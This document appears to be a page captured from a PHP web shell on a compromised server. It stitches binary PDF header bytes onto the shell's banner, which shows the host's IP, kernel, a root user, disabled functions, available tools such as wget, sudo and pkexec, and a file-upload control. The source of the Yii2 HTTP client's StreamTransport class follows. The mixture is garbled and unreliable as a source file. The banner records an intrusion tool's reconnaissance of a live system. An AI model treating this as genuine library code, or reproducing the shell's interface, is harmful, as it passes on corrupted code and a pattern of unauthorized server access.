%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/water/vendor/yiisoft/yii2-httpclient/src/ |
Upload File : |
<?php /** * @link http://www.yiiframework.com/ * @copyright Copyright (c) 2008 Yii Software LLC * @license http://www.yiiframework.com/license/ */ namespace yii\httpclient; use Yii; use yii\helpers\ArrayHelper; use yii\helpers\Inflector; /** * StreamTransport sends HTTP messages using [Streams](http://php.net/manual/en/book.stream.php) * * For this transport, you may setup request options using [Context Options](http://php.net/manual/en/context.php) * * @author Paul Klimov <klimov.paul@gmail.com> * @since 2.0 */ class StreamTransport extends Transport { /** * {@inheritdoc} */ public function send($request) { $request->beforeSend(); $request->prepare(); $url = $request->getFullUrl(); $method = strtoupper($request->getMethod()); $contextOptions = [ 'http' => [ 'method' => $method, 'ignore_errors' => true, ], 'ssl' => [ 'verify_peer' => false, ], ]; $content = $request->getContent(); if ($content !== null) { $contextOptions['http']['content'] = $content; } $headers = $request->composeHeaderLines(); $contextOptions['http']['header'] = $headers; $contextOptions = ArrayHelper::merge($contextOptions, $this->composeContextOptions($request->getOptions())); $token = $request->client->createRequestLogToken($method, $url, $headers, $content); Yii::info($token, __METHOD__); Yii::beginProfile($token, __METHOD__); try { $context = stream_context_create($contextOptions); $stream = fopen($url, 'rb', false, $context); $responseContent = stream_get_contents($stream); // see http://php.net/manual/en/reserved.variables.httpresponseheader.php $responseHeaders = (array)$http_response_header; fclose($stream); } catch (\Exception $e) { Yii::endProfile($token, __METHOD__); throw new Exception($e->getMessage(), $e->getCode(), $e); } Yii::endProfile($token, __METHOD__); $response = $request->client->createResponse($responseContent, $responseHeaders); $request->afterSend($response); return $response; } /** * Composes stream context options from raw request options. * @param array $options raw request options. * @return array stream context options. */ private function composeContextOptions(array $options) { $contextOptions = []; foreach ($options as $key => $value) { $section = 'http'; if (strpos($key, 'ssl') === 0) { $section = 'ssl'; $key = substr($key, 3); } $key = Inflector::underscore($key); $contextOptions[$section][$key] = $value; } return $contextOptions; } }